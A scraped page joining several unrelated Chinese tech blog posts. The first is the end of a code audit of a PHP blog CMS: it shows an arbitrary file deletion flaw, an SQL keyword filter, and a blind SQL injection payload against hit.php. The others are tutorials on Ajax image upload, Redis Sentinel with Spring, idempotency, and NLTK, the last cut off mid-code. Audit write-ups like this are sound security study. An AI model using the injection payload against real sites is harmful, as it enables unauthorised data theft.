这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除 install.lock从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在 hit.php,关键代码如下

<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();  $g=$_GET['g'];   if ($g=='arthit'){ $id=$_GET['id'];     if($id!=''){  $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);     $str=$row['hit'];     echo 'document.write('.$str.');';     } }  ?>

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下关键代码

Function sqlguolv() {         header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;} }

这里是把 $_SERVER['QUERY_STRING'])与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过绕过很简单,这里就只贴一个payload了

hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。

*本文作者:pupiles,转载请注明来自 FreeBuf.COM

Ajax上传图片以及上传之前先预览 - 江南一点雨的专栏 - CSDN博客

$
0
0

手头上有几个小项目用到了easyUI,一开始决定使用easyUI就注定了项目整体上前后端分离,基本上所有的请求都采用Ajax来完成。在文件上传的时候用到了Ajax上传文件,以及图片在上传之前的预览效果,解决了这两个小问题,和小伙伴们分享下。


上传之前的预览

方式一

先来说说图片上传之前的预览问题。这里主要采用了HTML5中的FileReader对象来实现,关于FileReader对象,如果小伙伴们不了解,可以查看这篇博客HTML5学习之FileReader接口。我们来看看实现方式:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><divid="preview"></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});functionpreview(file){varprevDiv = document.getElementById('preview');if(file.files && file.files[0]){varreader =newFileReader();
            reader.onload =function(evt){prevDiv.innerHTML ='<img src="'+ evt.target.result +'" />';}
            reader.readAsDataURL(file.files[0]);}else{
            prevDiv.innerHTML ='<div class="img" style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale,src=\''+ file.value +'\'"></div>';}}</script></body></html>

这里对于支持FileReader的浏览器直接使用FileReader来实现,不支持FileReader的浏览器则采用微软的滤镜来实现(注意给图片上传的input标签设置onchange函数)。

实现效果如下:

这里写图片描述

方式二

除了这种方式之外我们也可以采用网上现成的一个jQuery实现的方式。这里主要参考了这里

不过由于原文年代久远,里边使用的$.browser.msie从jQuery1.9就被移除掉了,所以如果我们想使用这个得做一点额外的处理,我修改后的uploadPreview.js文件内容如下:

jQuery.browser={};(function(){jQuery.browser.msie=false; jQuery.browser.version=0;if(navigator.userAgent.match(/MSIE ([0-9]+)./)){ jQuery.browser.msie=true;jQuery.browser.version=RegExp.$1;}})();
jQuery.fn.extend({
    uploadPreview:function(opts){var_self =this,
            _this = $(this);
        opts = jQuery.extend({Img:"ImgPr",Width:100,Height:100,ImgType:["gif","jpeg","jpg","bmp","png"],Callback:function(){}}, opts ||{});
        _self.getObjectURL =function(file){varurl =null;if(window.createObjectURL !=undefined){
                url = window.createObjectURL(file)}elseif(window.URL !=undefined){
                url = window.URL.createObjectURL(file)}elseif(window.webkitURL !=undefined){
                url = window.webkitURL.createObjectURL(file)}returnurl};
        _this.change(function(){if(this.value){if(!RegExp("\.("+ opts.ImgType.join("|")+")$","i").test(this.value.toLowerCase())){
                    alert("选择文件错误,图片类型必须是"+ opts.ImgType.join(",")+"中的一种");this.value ="";returnfalse}if($.browser.msie){try{
                        $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}catch(e){varsrc ="";varobj = $("#"+ opts.Img);vardiv = obj.parent("div")[0];
                        _self.select();if(top !=self){
                            window.parent.document.body.focus()}else{
                            _self.blur()}
                        src = document.selection.createRange().text;
                        document.selection.empty();
                        obj.hide();
                        obj.parent("div").css({'filter':'progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale)','width': opts.Width+'px','height': opts.Height+'px'});
                        div.filters.item("DXImageTransform.Microsoft.AlphaImageLoader").src = src}}else{
                    $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}
                opts.Callback()}})}});

然后在我们的html文件中引入这个js文件即可:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script><scriptsrc="uploadPreview.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><div><imgid="ImgPr"width="200"height="200"/></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});
    $("#userface").uploadPreview({Img:"ImgPr",Width:120,Height:120});</script></body></html>

这里有如下几点需要注意:

1.HTML页面中要引入我们自定义的uploadPreview.js文件

2.预先定义好要显示预览图片的img标签,该标签要有id。

3.查找到img标签然后调用uploadPreview函数

执行效果如下:

这里写图片描述

Ajax上传图片文件

Ajax上传图片文件就简单了,没有那么多方案,核心代码如下:

varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});

核心就是定义一个FormData对象,将要上传的数据包装到这个对象中去。然后在ajax上传数据的时候设置data属性就为formdata,processData属性设置为false,表示jQuery不要去处理发送的数据,然后设置contentType属性的值为false,表示不要设置请求头的contentType属性。OK,主要就是设置这三个,设置成功之后,其他的处理就和常规的ajax用法一致了。

后台的处理代码大家可以在文末的案例中下载,这里我就不展示不出来了。

OK,以上就是我们对Ajax上传图片以及图片预览的一个简介,有问题的小伙伴欢迎留言讨论。

案例下载地址http://download.csdn.net/download/u012702547/9950813

由于CSDN下载现在必须要积分,不得已设置了1分,如果小伙伴没有积分,文末留言我发给你。

更多JavaEE资料请关注公众号:

这里写图片描述

以上。

spring集成redis——主从配置以及哨兵监控 - 大园子 - 博客园

$
0
0

Redis主从模式配置:

Redis的主从模式配置是非常简单的,首先我们需要有2个可运行的redis环境:

master node : 192.168.56.101 8887

slave node:     192.168.56.102 7777

 

我们只要在slave 节点的配置文件中,找到 slaveof开头

然后修改为:(master的ip与端口)

slaveof192.168.56.1018777

这样就可以了,下面我们来验证一下,首先启用master和slave的redis服务,然后登录redis-cli,输入info

然后看下192.168.56.101:8887的信息,红色的地方,表示当前节点为master节点,有几个从节点和从节点的信息

192.168.56.101:8887>info
# Replicationrole:master
connected_slaves:1
slave0:ip=192.168.56.102,port=7777,state=online,offset=568,lag=1master_repl_offset:568repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:567

在看192.168.56.102:7777的信息

192.168.56.102:7777> info
# Replicationrole:slave
master_host:192.168.56.101
master_port:8887
master_link_status:up
master_last_io_seconds_ago:10
master_sync_in_progress:0slave_repl_offset:918slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0

在master,创建一个key-value:

192.168.56.101:8887>setaa aa
OK

在slave节点

192.168.56.102:7777>getaa"aa"

因为默认的设置从节点是不能写只能读的,所以如果要在从节点写东西是报错的,如下:

192.168.56.102:7777>setaa 2a
(error) READONLY You can't write against a read only slave.

这样一来主从模式就好了,如果要有多个从节点,只要改变他们的slaveof的配置就行了。

当然如果只这样配置,在生产上面是没有多大用处的,因为如果无论master节点还是slave节点挂了,我们都要手动启动来让他继续恢复工作,那么能不能让他自动恢复呢?比如master挂掉了,在slave节点中选一个节点自动更换成master。根据这个需求,redis在2.4之后出现了sentinel,其目的就是监控主从节点的健壮性,然后自动选举master节点下面就来看看如何配置sentinel。

Redis 的 Sentinel配置

一、Sentinel介绍

Sentinel是Redis的高可用性(HA)解决方案,由一个或多个Sentinel实例组成的Sentinel系统可以监视任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进行下线状态时,自动将下线主服务器属下的某个从服务器升级为新的主服务器,然后由新的主服务器代替已下线的主服务器继续处理命令请求。Redis提供的sentinel(哨兵)机制,通过sentinel模式启动redis后,自动监控master/slave的运行状态,基本原理是:心跳机制+投票裁决

  • 监控(Monitoring): Sentinel 会不断地检查你的主服务器和从服务器是否运作正常。
  • 提醒(Notification): 当被监控的某个 Redis 服务器出现问题时, Sentinel 可以通过 API 向管理员或者其他应用程序发送通知。
  • 自动故障迁移(Automatic failover): 当一个主服务器不能正常工作时, Sentinel 会开始一次自动故障迁移操作, 它会将失效主服务器的其中一个从服务器升级为新的主服务器, 并让失效主服务器的其他从服务器改为复制新的主服务器; 当客户端试图连接失效的主服务器时, 集群也会向客户端返回新主服务器的地址, 使得集群可以使用新主服务器代替失效服务器

 

二、Sentinel的主从原理

 

  

三、Redis Sentinel配置

这里采用了一个master 一个slave 一个sentinel

master 的redis.conf配置,找到下面的并修改:

port8887bind192.168.56.101

slave 的redis.conf配置,找到下面的并修改,如果master节点设置了密码,下面红色部分要加上

port7777bind192.168.56.102slaveof192.168.56.1018887

masterauth master的密码

sentinel的sentinel.conf 配置

port9999protected-mode yes
bind192.168.56.101dir/tmp
sentinel monitor mymaster192.168.56.10188871sentinel down-after-milliseconds mymaster5000sentinel parallel-syncs mymaster1sentinel failover-timeout mymaster15000

tips:

如果停掉master 后,sentinel 显示足够数量的 sdown 后,没有出现odown或try-failover,则检查密码等配置是否正确

如果停掉master后,试图切换的时候出现failover-abort-not-elected 

1)如果redis实例没有配置
protected-mode yes
bind 192.168.56.101
则在sentinel 配置文件加上
protected-mode no 
2)如果redis实例有配置
protected-mode yes
bind 192.168.56.101
则在sentinel 配置文件加上
protected-mode yes
bind 192.168.56.101

上面的配置都弄好之后,分别启动master、slave、sentinel(前面2个是redis-service 启动,后面是redis-sentinel)服务,然后我们可以redis-cli查看对于的info信息(跟上面主从操作是一样的)

master节点

[root@localhost8887]# ./redis-cli -h192.168.56.101-p8887192.168.56.101:8887>info
……
# Replication
role:master
connected_slaves:1slave0:ip=192.168.56.102,port=7777,state=online,offset=6503,lag=1master_repl_offset:6647repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:6646……

slave节点

[root@localhost7777]# ./redis-cli -h192.168.56.102-p7777192.168.56.102:7777>info
……
# Replication
role:slave
master_host:192.168.56.101master_port:8887master_link_status:up
master_last_io_seconds_ago:10master_sync_in_progress:0slave_repl_offset:918slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

sentinel节点信息

[root@localhost8887]# ./redis-cli -h192.168.56.101-p9999192.168.56.101:9999>info 
……
# Sentinel
sentinel_masters:1sentinel_tilt:0sentinel_running_scripts:0sentinel_scripts_queue_length:0sentinel_simulate_failure_flags:0master0:name=mymaster,status=ok,address=192.168.56.101:8887,slaves=1,sentinels=1……

下面我们把master节点给干掉,

192.168.56.101:8887>SHUTDOWN
not connected>

这个时候,在sentinel界面会输出下面的信息:

4338:X05Jun14:57:27.313# +sdown master mymaster192.168.56.10188874338:X05Jun14:57:27.313# +odown master mymaster192.168.56.1018887#quorum1/14338:X05Jun14:57:27.313# +new-epoch174338:X05Jun14:57:27.313# +try-failover master mymaster192.168.56.10188874338:X05Jun14:57:27.317# +vote-for-leader 9354edabc95f19b3d99991f0877d0e66ada04e5b174338:X05Jun14:57:27.317# +elected-leader master mymaster192.168.56.10188874338:X05Jun14:57:27.317# +failover-state-select-slave master mymaster192.168.56.10188874338:X05Jun14:57:27.384# +selected-slave slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:27.384* +failover-state-send-slaveof-noone slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:27.450* +failover-state-wait-promotion slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:28.255# +promoted-slave slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:28.255# +failover-state-reconf-slaves master mymaster192.168.56.10188874338:X05Jun14:57:28.317# +failover-end master mymaster192.168.56.10188874338:X05Jun14:57:28.317# +switch-master mymaster192.168.56.1018887192.168.56.10277774338:X05Jun14:57:28.318* +slave slave192.168.56.101:8887192.168.56.1018887@ mymaster192.168.56.1027777

现在我们在查看以前的slave节点:

192.168.56.102:7777>info
……
# Replication
role:master
connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

这个时候以前的slave变成了master,所以现在没有从节点了,所以 connected_slaves:0 ,下面我们把干掉的192.168.56.101 8887服务给启用,然后在查看现在的master,

192.168.56.102:7777>info
……
# Replication
role:master
connected_slaves:1slave0:ip=192.168.56.101,port=8887,state=online,offset=1334,lag=0master_repl_offset:1334repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:1333……

这个时候可以看到,多出了一个slave,即以前的master变成了从节点,我们再看以前的master节点信息:

192.168.56.101:8887>info
……
# Replication
role:slave
master_host:192.168.56.102master_port:7777master_link_status:up
master_last_io_seconds_ago:2master_sync_in_progress:0slave_repl_offset:7364slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

上面就是sentinel自动的对redis的主从切换的配置,以及信息的变化,下面来看在Spring中如何配置。

四、Spring中 Sentinel配置

pom.xml文件中添加依赖包

<!--redis 支持java的语言--><dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version></dependency><!--spring data redis--><dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-redis</artifactId><version>1.8.1.RELEASE</version></dependency>

spring-redis.xml的配置:

1<!--redis哨兵-->2<beanid="redisSentinelConfiguration"3class="org.springframework.data.redis.connection.RedisSentinelConfiguration">4<propertyname="master">5<beanclass="org.springframework.data.redis.connection.RedisNode">6<propertyname="name"value="mymaster"/>7</bean>8</property>9<propertyname="sentinels">10<set>11<beanclass="org.springframework.data.redis.connection.RedisNode">12<constructor-argname="host"value="192.168.56.101"/>13<constructor-argname="port"value="9999"/>14</bean>15</set>16</property>17</bean>1819<beanid="jedisConnFactory"20class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory">21<!--<property name="hostName" value="${redis.host}"/>-->22<!--<property name="port" value="${redis.port}"/>-->23<!--<property name="password" value="${redis.password}"/>-->24<!--<property name="usePool" value="false"/>-->25<!--<property name="poolConfig" ref="poolConfig"/>-->26<constructor-argname="sentinelConfig"ref="redisSentinelConfiguration"/>27</bean>2829<beanid="stringRedisTemplate"class="org.springframework.data.redis.core.StringRedisTemplate">30<propertyname="connectionFactory"ref="jedisConnFactory"/>31</bean>

tips:

第25行如果我们不配poolConfig的话,也不要把第24行的usePool改成false,如果把usePool改成false,那么上面的哨兵配置好像就无效了。

 

Sentinel模式下的几个事件

  • +reset-master :主服务器已被重置。
  • +slave :一个新的从服务器已经被 Sentinel 识别并关联。
  • +failover-state-reconf-slaves :故障转移状态切换到了 reconf-slaves 状态。
  • +failover-detected :另一个 Sentinel 开始了一次故障转移操作,或者一个从服务器转换成了主服务器。
  • +slave-reconf-sent :领头(leader)的 Sentinel 向实例发送了 [SLAVEOF](/commands/slaveof.html) 命令,为实例设置新的主服务器。
  • +slave-reconf-inprog :实例正在将自己设置为指定主服务器的从服务器,但相应的同步过程仍未完成。
  • +slave-reconf-done :从服务器已经成功完成对新主服务器的同步。
  • -dup-sentinel :对给定主服务器进行监视的一个或多个 Sentinel 已经因为重复出现而被移除 —— 当 Sentinel 实例重启的时候,就会出现这种情况。
  • +sentinel :一个监视给定主服务器的新 Sentinel 已经被识别并添加。
  • +sdown :给定的实例现在处于主观下线状态。
  • -sdown :给定的实例已经不再处于主观下线状态。
  • +odown :给定的实例现在处于客观下线状态。
  • -odown :给定的实例已经不再处于客观下线状态。
  • +new-epoch :当前的纪元(epoch)已经被更新。
  • +try-failover :一个新的故障迁移操作正在执行中,等待被大多数 Sentinel 选中(waiting to be elected by the majority)。
  • +elected-leader :赢得指定纪元的选举,可以进行故障迁移操作了。
  • +failover-state-select-slave :故障转移操作现在处于 select-slave 状态 —— Sentinel 正在寻找可以升级为主服务器的从服务器。
  • no-good-slave :Sentinel 操作未能找到适合进行升级的从服务器。Sentinel 会在一段时间之后再次尝试寻找合适的从服务器来进行升级,又或者直接放弃执行故障转移操作。
  • selected-slave :Sentinel 顺利找到适合进行升级的从服务器。
  • failover-state-send-slaveof-noone :Sentinel 正在将指定的从服务器升级为主服务器,等待升级功能完成。
  • failover-end-for-timeout :故障转移因为超时而中止,不过最终所有从服务器都会开始复制新的主服务器(slaves will eventually be configured to replicate with the new master anyway)。
  • failover-end :故障转移操作顺利完成。所有从服务器都开始复制新的主服务器了。
  • +switch-master :配置变更,主服务器的 IP 和地址已经改变。 这是绝大多数外部用户都关心的信息。
  • +tilt :进入 tilt 模式。
  • -tilt :退出 tilt 模式。

 

以上就是redis的主从及哨兵的配置,如果有错,谢谢指出。

参考:http://wosyingjun.iteye.com/blog/2289593

   http://www.cnblogs.com/yjmyzz/p/redis-sentinel-sample.html

        http://blog.csdn.net/yypzye/article/details/52281282

 

本实项目下载:https://github.com/eoooxy/anhoo

 

高并发的核心技术-幂等的实现方案 - 无量的IT生活 - ITeye博客

$
0
0
高并发的核心技术-幂等的实现方案



一、背景

我们实际系统中有很多操作,是不管做多少次,都应该产生一样的效果或返回一样的结果。

例如:




1. 前端重复提交选中的数据,应该后台只产生对应这个数据的一个反应结果。

2. 我们发起一笔付款请求,应该只扣用户账户一次钱,当遇到网络重发或系统bug重发,也应该只扣一次钱;

3. 发送消息,也应该只发一次,同样的短信发给用户,用户会哭的;

4. 创建业务订单,一次业务请求只能创建一个,创建多个就会出大问题。




等等很多重要的情况,这些逻辑都需要幂等的特性来支持。



二、幂等性概念


幂等(idempotent、idempotence)是一个数学与计算机学概念,常见于抽象代数中。



在编程中.一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同。幂等函数,或幂等方法,是指可以使用相同参数重复执行,并能获得相同结果的函数。这些函数不会影响系统状态,也不用担心重复执行会对系统造成改变。例如,“getUsername()和setTrue()”函数就是一个幂等函数.




更复杂的操作幂等保证是利用唯一交易号(流水号)实现.



我的理解:幂等就是一个操作,不论执行多少次,产生的效果和返回的结果都是一样的





三、技术方案

1. 查询操作

查询一次和查询多次,在数据不变的情况下,查询结果是一样的。select是天然的幂等操作



2. 删除操作

删除操作也是幂等的,删除一次和多次删除都是把数据删除。(注意可能返回结果不一样,删除的数据不存在,返回0,删除的数据多条,返回结果多个)



3.唯一索引,防止新增脏数据

比如:支付宝的资金账户,支付宝也有用户账户,每个用户只能有一个资金账户,怎么防止给用户创建资金账户多个,那么给资金账户表中的用户ID加唯一索引,所以一个用户新增成功一个资金账户记录



要点:

唯一索引或唯一组合索引来防止新增数据存在脏数据

(当表存在唯一索引,并发时新增报错时,再查询一次就可以了,数据应该已经存在了,返回结果即可)




4. token机制,防止页面重复提交

业务要求:

页面的数据只能被点击提交一次

发生原因:

由于重复点击或者网络重发,或者nginx重发等情况会导致数据被重复提交

解决办法:

集群环境:采用token加redis(redis单线程的,处理需要排队)

单JVM环境:采用token加redis或token加jvm内存


处理流程:

1. 数据提交前要向服务的申请token,token放到redis或jvm内存,token有效时间

2. 提交后后台校验token,同时删除token,生成新的token返回


token特点:

要申请,一次有效性,可以限流



注意:redis要用删除操作来判断token,删除成功代表token校验通过,如果用select+delete来校验token,存在并发问题,不建议使用



5. 悲观锁

获取数据的时候加锁获取

select * from table_xxx where id='xxx' for update;


注意:id字段一定是主键或者唯一索引,不然是锁表,会死人的

悲观锁使用时一般伴随事务一起使用,数据锁定时间可能会很长,根据实际情况选用




6. 乐观锁

乐观锁只是在更新数据那一刻锁表,其他时间不锁表,所以相对于悲观锁,效率更高。



乐观锁的实现方式多种多样可以通过version或者其他状态条件:

1. 通过版本号实现

update table_xxx set name=#name#,version=version+1 where version=#version#

如下图(来自网上):







2. 通过条件限制

update table_xxx set avai_amount=avai_amount-#subAmount# where avai_amount-#subAmount# >= 0


要求:quality-#subQuality# >= ,这个情景适合不用版本号,只更新是做数据安全校验,适合库存模型,扣份额和回滚份额,性能更高



注意:乐观锁的更新操作,最好用主键或者唯一索引来更新,这样是行锁,否则更新时会锁表,上面两个sql改成下面的两个更好

update table_xxx set name=#name#,version=version+1 where id=#id# and version=#version#

update table_xxx set avai_amount=avai_amount-#subAmount# where id=#id# and avai_amount-#subAmount# >= 0




7. 分布式锁

还是拿插入数据的例子,如果是分布是系统,构建全局唯一索引比较困难,例如唯一性的字段没法确定,这时候可以引入分布式锁,通过第三方的系统(redis或zookeeper),在业务系统插入数据或者更新数据,获取分布式锁,然后做操作,之后释放锁,这样其实是把多线程并发的锁的思路,引入多多个系统,也就是分布式系统中得解决思路。



要点:某个长流程处理过程要求不能并发执行,可以在流程执行之前根据某个标志(用户ID+后缀等)获取分布式锁,其他流程执行时获取锁就会失败,也就是同一时间该流程只能有一个能执行成功,执行完成后,释放分布式锁(分布式锁要第三方系统提供)



8. select + insert

并发不高的后台系统,或者一些任务JOB,为了支持幂等,支持重复执行,简单的处理方法是,先查询下一些关键数据,判断是否已经执行过,在进行业务处理,就可以了

注意:核心高并发流程不要用这种方法



9. 状态机幂等

在设计单据相关的业务,或者是任务相关的业务,肯定会涉及到状态机(状态变更图),就是业务单据上面有个状态,状态在不同的情况下会发生变更,一般情况下存在有限状态机,这时候,如果状态机已经处于下一个状态,这时候来了一个上一个状态的变更,理论上是不能够变更的,这样的话,保证了有限状态机的幂等。



注意:订单等单据类业务,存在很长的状态流转,一定要深刻理解状态机,对业务系统设计能力提高有很大帮助



10. 对外提供接口的api如何保证幂等

如银联提供的付款接口:需要接入商户提交付款请求时附带:source来源,seq序列号

source+seq在数据库里面做唯一索引,防止多次付款,(并发时,只能处理一个请求)



重点:

对外提供接口为了支持幂等调用,接口有两个字段必须传,一个是来源source,一个是来源方序列号seq,这个两个字段在提供方系统里面做联合唯一索引,这样当第三方调用时,先在本方系统里面查询一下,是否已经处理过,返回相应处理结果;没有处理过,进行相应处理,返回结果。注意,为了幂等友好,一定要先查询一下,是否处理过该笔业务,不查询直接插入业务系统,会报错,但实际已经处理了。






总结:

幂等性应该是合格程序员的一个基因,在设计系统时,是首要考虑的问题,尤其是在像支付宝,银行,互联网金融公司等涉及的都是钱的系统,既要高效,数据也要准确,所以不能出现多扣款,多打款等问题,这样会很难处理,用户体验也不好








聊天机器人学习 | 李强的博客

$
0
0

原文

涉及知识

人工智能一直以来是人类的梦想,造一台可以为你做一切事情并且有情感的机器人,像哆啦A梦一样,现在这已经不是一个梦了:iPhone里会说话的siri、会下棋的阿法狗、小度机器人、大白……,他们都能够具有智能,和人类交互,帮人类解决问题,这听起来非常神奇,实际上我们自己也可以做一个这样的机器人,从今天开始分享我将我学习和制作的过程

智能机器人可以做到的事情可以很复杂:文字、语音、视频识别与合成;自然语言理解、人机对话;以及驱动硬件设备形成的“机器”人。作为一个只有技术和时间而没有金钱的IT人士,我仅做自然语言和人工智能相关的内容,不涉及硬件,也不涉及不擅长的多媒体识别和合成。所以索性就做一个可以和你说话,帮你解决问题的聊天机器人吧。

聊天机器人涉及到的知识主要是自然语言处理,当然这包括了:语言分析和理解、语言生成、机器学习、人机对话、信息检索、信息传输与信息存储、文本分类、自动文摘、数学方法、语言资源、系统评测等内容,同时少不了的是支撑着一切的编程技术

在我的桌上摆了很多有关自然语言处理、机器学习、深度学习、数学等方面的书籍,为了和大家分享我的经历、学到的知识和每一阶段的成果,我每天会花两个小时以上时间或翻书或总结或编码或整理或写文章,或许文章几天才能更新一篇,但我希望每一篇都是有价值的,或许文章里的知识讲解的不是非常深入,但我希望可以为你指明方向,对于晦涩难懂的内容,我尽量用简朴幽默的方式说出来,目的就是让每一位读者都能有收获,并朝着我们的目标一起前进。

初识NLTK库

安装和使用

安装

1
pip install nltk

下载数据

1
2
importnltk
nltk.download()

选择book下载,下载较慢,推荐找网络资源。

使用

1
from nltk.book import *

你会看到可以正常加载书籍如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
*** Introductory Examples for the NLTK Book ***
Loading text1, ..., text9 and sent1, ..., sent9
Type the name of the text or sentence to view it.
Type: 'texts()' or 'sents()' to list the materials.
text1: Moby Dick by Herman Melville 1851
text2: Sense and Sensibility by Jane Austen 1811
text3: The Book of Genesis
text4: Inaugural Address Corpus
text5: Chat Corpus
text6: Monty Python and the Holy Grail
text7: Wall Street Journal
text8: Personals Corpus
text9: The Man Who Was Thursday by G . K . Chesterton 1908

这里面的text*都是一个一个的书籍节点,直接输入text1会输出书籍标题:

1
text1
1
<Text: Moby Dick by Herman Melville 1851>

搜索文本

执行

1
text1.concordance("former")

会显示20个包含former的语句上下文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Displaying 20 of 20 matches:
s of the sea , appeared . Among the former , one was of a most monstrous size
ce , borrowed from the chaplain ' s former sea - farings . Between the marble
s him with a fresh lance , when the former one has been badly twisted , or elb
, though smaller than those of the former order , nevertheless retain a propo
fficial is still retained , but his former dignity is sadly abridged . At pres
tested reality of his might had in former legendary times thrown its shadow b
g associated with the experience of former perils ; for what knows he , this N
ns and places in which , on various former voyages of various ships , sperm wh
. So that though Moby Dick had in a former year been seen , for example , on w
ed by the defection of seven of his former associates , and stung by the mocki
no part in the mutiny , he told the former that he had a good mind to flog the
so for ever got the start of their former captain , had he been at all minded
head is cut off whole , but in the former the lips and tongue are separately
nd the right . While the ear of the former has an external opening , that of t
in small detached companies , as in former times , are now frequently met with
ence on the coast of Greenland , in former times , of a Dutch village called S
x months before he wheeled out of a former equinox at Aries ! From storm to st
Sperm Whale , for example , that in former years ( the latter part of the last
les no longer haunt many grounds in former years abounding with them , hence t
ering was but the direct issue of a former woe ; and he too plainly seemed to

我们还可以搜索相关词,比如:

1
text1.similar("ship")
1
2
whale boat sea captain world way head time crew man other pequod line
deck body fishery air boats side voyage

输入了ship,查找了boat,都是近义词

我们还可以查看某个词在文章里出现的位置:

1
text4.dispersion_plot(["citizens","democracy","freedom","duties","America"])

词统计

len(text1):返回总字数

set(text1):返回文本的所有词集合

len(set(text4)):返回文本总词数

text4.count(“is”):返回“is”这个词出现的总次数

FreqDist(text1):统计文章的词频并按从大到小排序存到一个列表里

fdist1 = FreqDist(text1);fdist1.plot(50, cumulative=True):统计词频,并输出累计图像

纵轴表示累加了横轴里的词之后总词数是多少,这样看来,这些词加起来几乎达到了文章的总词数

fdist1.hapaxes():返回只出现一次的词

text4.collocations():频繁的双联词

自然语言处理关键点

词意理解:中国队大胜美国队;中国队大败美国队。“胜”、“败”一对反义词,却表达同样的意思:中国赢了,美国输了。这需要机器能够自动分析出谁胜谁负

自动生成语言:自动生成语言基于语言的自动理解,不理解就无法自动生成

机器翻译:现在机器翻译已经很多了,但是还很难达到最佳,比如我们把中文翻译成英文,再翻译成中文,再翻译成英文,来回10轮,发现和最初差别还是非常大的。

人机对话:这也是我们想做到的最终目标,这里有一个叫做“图灵测试”的方式,也就是在5分钟之内回答提出问题的30%即通过,能通过则认为有智能了。

自然语言处理分两派,一派是基于规则的,也就是完全从语法句法等出发,按照语言的规则来分析和处理,这在上个世纪经历了很多年的试验宣告失败,因为规则太多太多,而且很多语言都不按套路出牌,想象你追赶你的影子,你跑的快他跑的更快,你永远都追不上它。另一派是基于统计的,也就是收集大量的语料数据,通过统计学习的方式来理解语言,这在当代越来越受重视而且已经成为趋势,因为随着硬件技术的发展,大数据存储和计算已经不是问题,无论有什么样的规则,语言都是有统计规律的,当然基于统计也存在缺陷,那就是“小概率事件总是不会发生的”导致总有一些问题解决不了。

下一节我们就基于统计的方案来解决语料的问题。

语料与词汇资源

当代自然语言处理都是基于统计的,统计自然需要很多样本,因此语料和词汇资源是必不可少的,本节介绍语料和词汇资源的重要性和获取方式

NLTK语料库

NLTK包含多种语料库,举一个例子:Gutenberg语料库,执行:

1
2
importnltk
